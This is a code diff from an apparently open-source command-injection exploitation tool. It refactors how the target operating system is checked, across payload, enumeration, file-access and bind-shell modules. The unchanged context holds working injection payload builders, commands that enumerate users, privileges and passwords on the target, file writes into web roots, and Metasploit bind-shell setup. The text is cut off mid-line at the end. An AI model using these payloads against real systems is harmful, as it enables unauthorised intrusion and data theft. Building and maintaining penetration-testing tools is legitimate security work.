file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = checks.change_dir(dest_to_write) response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) @@ -94,7 +94,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index ae2a96cc4c..749a4b3125 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -24,7 +24,7 @@ eval-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.SKIP_CALC: if separator == "": payload = ("print(`echo " + TAG + "`." + @@ -90,7 +90,7 @@ def decision(separator, TAG, randv1, randv2): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, TAG, randv1, randv2): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(str(int(" + str(int(randv1)) + "%2B" + str(int(randv2)) + ")))\"" if settings.SKIP_CALC: if separator == "": @@ -154,7 +154,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): Execute shell commands on vulnerable host. """ def cmd_execution(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p = %i " + settings.CMD_NUL @@ -197,7 +197,7 @@ def cmd_execution(separator, TAG, cmd): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, TAG, cmd): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index f2f70c50d8..6c3a72395b 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -54,7 +54,7 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp """ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -73,7 +73,7 @@ def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ """ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -87,7 +87,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -103,7 +103,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -123,7 +123,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp """ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -143,7 +143,7 @@ def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, h """ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -164,7 +164,7 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) @@ -220,7 +220,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp """ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == "win": + if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: @@ -255,7 +255,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ settings.ENUMERATION_DONE = True if menu.options.passwords: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index a030190b34..ea5213211c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -33,7 +33,7 @@ """ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = checks.change_dir(dest_to_write) response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) @@ -91,7 +91,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_ settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 2ea127a434..1f6caab6ee 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -64,7 +64,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'." print(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE else: cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT @@ -74,7 +74,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h Provide custom server's root directory """ def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if settings.TARGET_OS == "win" : + if settings.TARGET_OS == settings.OS.WINDOWS : example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" @@ -94,7 +94,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon """ def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): # Set temp path - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.TMP_PATH = "C:\\Windows\TEMP\\" else: @@ -121,7 +121,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if "debian" or "ubuntu" in settings.SERVER_BANNER.lower(): try: check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower()) - if check_version[0] > "2.3" and not settings.TARGET_OS == "win": + if check_version[0] > "2.3" and not settings.TARGET_OS == settings.OS.WINDOWS: # Add "/html" to servers root directory settings.WEB_ROOT = settings.WEB_ROOT + "/html" else: @@ -160,7 +160,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons last_param = path_parts[count] EXTRA_DIR = path.replace(last_param, "") settings.WEB_ROOT = settings.WEB_ROOT + EXTRA_DIR - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") return tmp_path diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 18af48a258..8db00d67a1 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -336,7 +336,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): try: shell = checks.page_encoding(response, action="encode").rstrip().lstrip() #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: shell = [newline.replace("\r","") for newline in shell] #shell = [space.strip() for space in shell] shell = [empty for empty in shell if empty] diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 549142e079..b724351665 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -26,7 +26,7 @@ File-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: payload = (separator + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" ) @@ -42,7 +42,7 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): """ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -60,7 +60,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True : payload = payload.replace("\n", separator) else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -73,7 +73,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): if settings.TFB_DECIMAL == True: payload = (separator + cmd) - elif settings.TARGET_OS == "win": + elif settings.TARGET_OS == settings.OS.WINDOWS: payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + @@ -92,7 +92,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if settings.REVERSE_TCP: payload = (separator + cmd + settings.SINGLE_WHITESPACE ) @@ -115,7 +115,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", separator) else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 02832e9f77..762c51dfec 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -52,7 +52,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -69,7 +69,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h """ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -83,7 +83,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if target_os: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) @@ -93,7 +93,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, distro_name = output if len(distro_name) != 0: target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP @@ -113,7 +113,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, """ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: @@ -131,7 +131,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese """ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT @@ -150,7 +150,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False cmd = settings.SYS_USERS - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS cmd = cmd + settings.WIN_REPLACE_WHITESPACE # URL encode "+ " if POST request and python alternative shell. @@ -259,7 +259,7 @@ def reset(): if menu.options.passwords: if settings.ENUMERATION_DONE: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--passwords" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py index 74008aa710..5bb9a25ba5 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_file_access.py @@ -35,7 +35,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: _ = True from src.core.injections.results_based.techniques.classic import cb_injector whitespace = settings.WHITESPACES[0] @@ -104,7 +104,7 @@ def do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h settings.FILE_ACCESS_DONE = True if menu.options.file_upload: - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: check_option = "--file-upload" checks.unavailable_option(check_option) else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 2f4e6dee82..3e13b9d206 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -52,7 +52,7 @@ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespa if settings.VERBOSITY_LEVEL != 0: debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" print(settings.print_debug_msg(debug_msg)) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT @@ -266,7 +266,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, randv2 = random.randrange(1, 5) randvcalc = randv1 + randv2 - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if alter_shell: cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\"" else: @@ -436,7 +436,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Delete previous shell (text) files (output) from temp. delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: time.sleep(1) # Check for any enumeration options. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 11f0e12f70..c7e8013893 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -176,7 +176,7 @@ def custom_header_injection_test(url, vuln_parameter, payload): """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) @@ -255,7 +255,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Proceed with the next (injection) step! if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 @@ -359,7 +359,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: cmd = cmd = checks.quoted_cmd(cmd) @@ -428,7 +428,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese break if found_chars == True : - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: cmd = previous_cmd num_of_chars = output_length + 1 check_start = 0 diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index de5cc74bd9..28be4164dc 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -26,7 +26,7 @@ Tempfile-based decision payload (check if host is vulnerable). """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -95,7 +95,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -160,7 +160,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -168,7 +168,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque Execute shell commands on vulnerable host. """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -262,7 +262,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth __Warning__: The alternative shells are still experimental. """ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator == "|" or separator == "||" : pipe = "|" @@ -330,7 +330,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -338,7 +338,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ Get the execution output, of shell execution. """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -402,7 +402,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http __Warning__: The alternative shells are still experimental. """ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" if separator == "|" or separator == "||" : pipe = "|" @@ -458,7 +458,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload @@ -466,7 +466,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t Get the execution output, of shell execution. """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if separator == "|" or separator == "||" : pipe = "|" payload = (pipe + @@ -524,7 +524,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth __Warning__: The alternative shells are still experimental. """ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" if separator == "|" or separator == "||" : pipe = "|" @@ -581,7 +581,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") else: - if settings.TARGET_OS != "win": + if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index e29c32a397..5383171734 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -234,7 +234,7 @@ def estimate_response_time(url, timesec): url_time_response = int(diff) if settings.VERBOSITY_LEVEL != 0 and _: print(settings.SINGLE_WHITESPACE) - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." print(settings.print_warning_msg(warn_msg)) @@ -258,7 +258,7 @@ def estimate_response_time(url, timesec): timesec = int(timesec) # Against windows targets (for more stability), add one extra second delay. - if settings.TARGET_OS == "win" : + if settings.TARGET_OS == settings.OS.WINDOWS : timesec = timesec + 1 return timesec, url_time_response @@ -848,7 +848,7 @@ def server_identification(server_banner): found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" @@ -925,7 +925,7 @@ def check_target_os(server_banner): settings.CHECK_BOTH_OS = True check_type = "Unix-like based" elif settings.CHECK_BOTH_OS: - settings.TARGET_OS = "win" + settings.TARGET_OS = settings.OS.WINDOWS settings.CHECK_BOTH_OS = False settings.PERFORM_BASIC_SCANS = True check_type = "windows based" @@ -938,7 +938,7 @@ def check_target_os(server_banner): got_os = common.read_input(message, default="", check_batch=True) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "w": - settings.TARGET_OS = "win" + settings.TARGET_OS = settings.OS.WINDOWS break elif got_os.lower() == "u": break diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index b1bfe55630..7ef833aac8 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -284,7 +284,7 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: @@ -375,7 +375,7 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win" and not settings.USER_DEFINED_PHP_DIR: + if settings.TARGET_OS == settings.OS.WINDOWS and not settings.USER_DEFINED_PHP_DIR: set_php_working_dir() other_shell = settings.WIN_PHP_DIR + " -r " + data else: @@ -420,7 +420,7 @@ def other_bind_shells(separator): "set lport "+ str(settings.LPORT) + "\n" "exploit\n\n") - if settings.TARGET_OS == "win": + if settings.TARGET_OS == settings.OS.WINDOWS: if not 